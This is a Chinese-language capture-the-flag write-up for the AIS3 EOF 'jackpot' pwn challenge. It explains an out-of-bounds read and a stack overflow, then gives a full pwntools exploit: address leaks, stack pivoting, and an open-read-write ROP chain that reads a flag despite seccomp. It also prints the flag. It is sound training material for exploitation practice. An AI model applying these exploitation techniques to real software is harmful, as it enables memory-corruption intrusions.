flag 在根目錄窩
Author: YingMuo
http://chal1.eof.ais3.org:12000/
file: jackpot_release.zip
```
以下是題目原始碼節錄
```c
struct sock_filter seccompfilter[]={
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
Allow(open),
Allow(openat),
Allow(read),
Allow(write),
Allow(close),
Allow(readlink),
Allow(getdents),
Allow(getrandom),
Allow(brk),
Allow(rt_sigreturn),
Allow(exit),
Allow(exit_group),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};
void jackpot()
{
puts("Here is your flag");
printf("%s\n", "flag{fake}");
}
int main(void)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
apply_seccomp();
char name[100];
unsigned long ticket_pool[0x10];
int number;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Lottery!!");
printf("Give me your number: ");
scanf("%d", &number);
printf("Here is your ticket 0x%lx\n", ticket_pool[number]);
printf("Sign your name: ");
read(0, name, 0x100);
if (ticket_pool[number] == jackpot)
{
puts("You get the jackpot!!");
jackpot();
}
else
puts("You get nothing QQ");
return 0;
}
```
首先可以看到該程式有設定 seccomp,基本上限制只能 orw 讀檔案,沒辦法開 shell
接著在主程式中可以看到首先會要求我們輸入一個號碼作為樂透,接著會印出該位置的 index 值,接著會要求我們輸入姓名之後去檢查該 index 值是否等於 `jackpot`,如果是的話就會執行 `jackpot` 印出假的 flag,不然就會印出 `You get nothing QQ`
以下是 Makefile,可以看到他沒有開 PIE 及 Canary
```makefile
jackpot: jackpot.c
gcc -no-pie -fno-stack-protector -o $@ $<
```
我們可以從題目原始碼看出有幾個漏洞,首先他沒有檢查輸入 index 的範圍,代表我們有辦法做 OOB read,此外另一個很明顯的是在 `name` 的部分有一個 stack overflow 的漏洞,他只有 100 bytes 的空間卻可寫入 0x100 bytes (256 bytes),而另外實際上在 binary 中 `name` 的位置是在 `$rbp-0x70` 的位置開始,因此我們可以 overflow 1 個 rbp + 17 個 qword
雖然我們可以透過 oob read 去 leak 出 libc base,但是由於我們不能開 shell,因此我們必須使用 orw 讀檔案,而我初步寫的 orw rop chain 需要遠超於 17 個 qword 的大小,因此我們必須要做 stack pivoting
因此我們首先需要去 leak 出 libc base 以及 `name` 陣列的位置,而經過觀察 stack 上的資料我們可以找到對應的 offset 並取得相關的 leak,以下是解題腳本相關的部分
```python
conn.sendlineafter(b"number: ", str(0xf0 // 8 + 5).encode())
conn.recvuntil(b"0x")
leak = conn.recvline().strip()
leak = int(leak, 16)
print(f"leak: {hex(leak)}")
writebase = leak - 0x208 + 0x80 + 0x80
print(f"writebase: {hex(writebase)}")
main = 0x401358
conn.sendlineafter(b"name: ", b"A"*0x70+ p64(writebase+0xf0-0x80) + p64(main))
conn.sendlineafter(b"number: ", str(3).encode())
conn.recvuntil(b"0x")
leak = conn.recvline().strip()
leak = int(leak, 16)
print(f"leak: {hex(leak)}")
libcbase = leak - 0x8cec3
print(f"libcbase: {hex(libcbase)}")
```
為了避免因為在 leak 第二次時的 `main` 函式有一些 `libc` 函式會檢查 `rbp` 的值,因此這邊我是先 `leak` 出 stack 上的資料,並調整 `rbp` 成為一個合理的值,之後才能正常的跳回去執行 `main` 函式的部分,leak 出 libc base
而接著是主要的 exploit 部分,由於我的 orw rop chain 需要共 21 個 qword (每個項目各 7 個),不管是全塞在 `name` 或是 overflow 的 stack 部分都不夠放,因此我將功能切開來做,在 overflow 的 stack 區塊執行完 open 和 read 之後做一個 `leave` pivoting 到 `name` 陣列的位置,而 `name` 函式繼續執行剩下的 write rop chain,如此一來就能執行完 orw 了,另外我在 read 時拿到的 flag 的內容是放在 bss 區段上面,避免影響到 rop chain 的執行
以下是 exploit 的部分,相關的 gadget 使用 ROPgadget 工具找得
```python
bss = 0x404180
open = libcbase + 0x1142f0
read = libcbase + 0x1145e0
write = libcbase + 0x114680
pop_rdi = libcbase + 0x2a3e5
pop_rsi = libcbase + 0x2be51
pop_rdx = libcbase + 0x796a2
leave = 0x401438
payload = flat([
b"flag".ljust(0x8, b"\x00"),
pop_rdi, 1,
pop_rsi, bss,
pop_rdx, 0x100,
write
])
conn.sendlineafter(b"name: ", payload.ljust(0x70, b"\x00") + p64(writebase) +
flat([
pop_rdi, writebase,
pop_rsi, 0,
pop_rdx, 0,
open,
pop_rdi, 3,
pop_rsi, bss,
pop_rdx, 0x100,
read,
leave
])
)
```
完整的 exploit 如下,執行完之後就能拿到 flag
```python
from pwn import *
binary = './jackpot_bin'
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
conn = remote("10.105.0.21", 12234)
# conn = process(binary)
# conn = gdb.debug(binary)
conn.sendlineafter(b"number: ", str(0xf0 // 8 + 5).encode())
conn.recvuntil(b"0x")
leak = conn.recvline().strip()
leak = int(leak, 16)
print(f"leak: {hex(leak)}")
writebase = leak - 0x208 + 0x80 + 0x80
print(f"writebase: {hex(writebase)}")
main = 0x401358
conn.sendlineafter(b"name: ", b"A"*0x70+ p64(writebase+0xf0-0x80) + p64(main))
conn.sendlineafter(b"number: ", str(3).encode())
conn.recvuntil(b"0x")
leak = conn.recvline().strip()
leak = int(leak, 16)
print(f"leak: {hex(leak)}")
libcbase = leak - 0x8cec3
print(f"libcbase: {hex(libcbase)}")
# 0x000000000040101a : ret
# [26] .bss NOBITS 0000000000404180 00005180
# 1591: 00000000001142f0 296 FUNC WEAK DEFAULT 15 open@@GLIBC_2.2.5
# 289: 00000000001145e0 157 FUNC GLOBAL DEFAULT 15 read@@GLIBC_2.2.5
# 409: 0000000000114680 157 FUNC WEAK DEFAULT 15 write@@GLIBC_2.2.5
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x00000000000796a2 : pop rdx ; ret
# 0x00000000000bfc63 : mov qword ptr [rdi], rdx ; ret
# 0x000000000003d1ee : pop rcx ; ret
# 0x0000000000401438 : leave ; ret
bss = 0x404180
open = libcbase + 0x1142f0
read = libcbase + 0x1145e0
write = libcbase + 0x114680
pop_rdi = libcbase + 0x2a3e5
pop_rsi = libcbase + 0x2be51
pop_rdx = libcbase + 0x796a2
leave = 0x401438
payload = flat([
b"flag".ljust(0x8, b"\x00"),
pop_rdi, 1,
pop_rsi, bss,
pop_rdx, 0x100,
write
])
conn.sendlineafter(b"name: ", payload.ljust(0x70, b"\x00") + p64(writebase) +
flat([
pop_rdi, writebase,
pop_rsi, 0,
pop_rdx, 0,
open,
pop_rdi, 3,
pop_rsi, bss,
pop_rdx, 0x100,
read,
leave
])
)
conn.interactive()
```

`AIS3{JU5T_a_eA5y_INT_0VeRfloW_4nD_BUf_ovErfL0W}`
話說雖然出題者說 flag 在根目錄下,但我是直接去讀取當前目錄的 `flag` 檔案,不知道為什麼這樣拿到的 flag 也是正確的就是了 🤔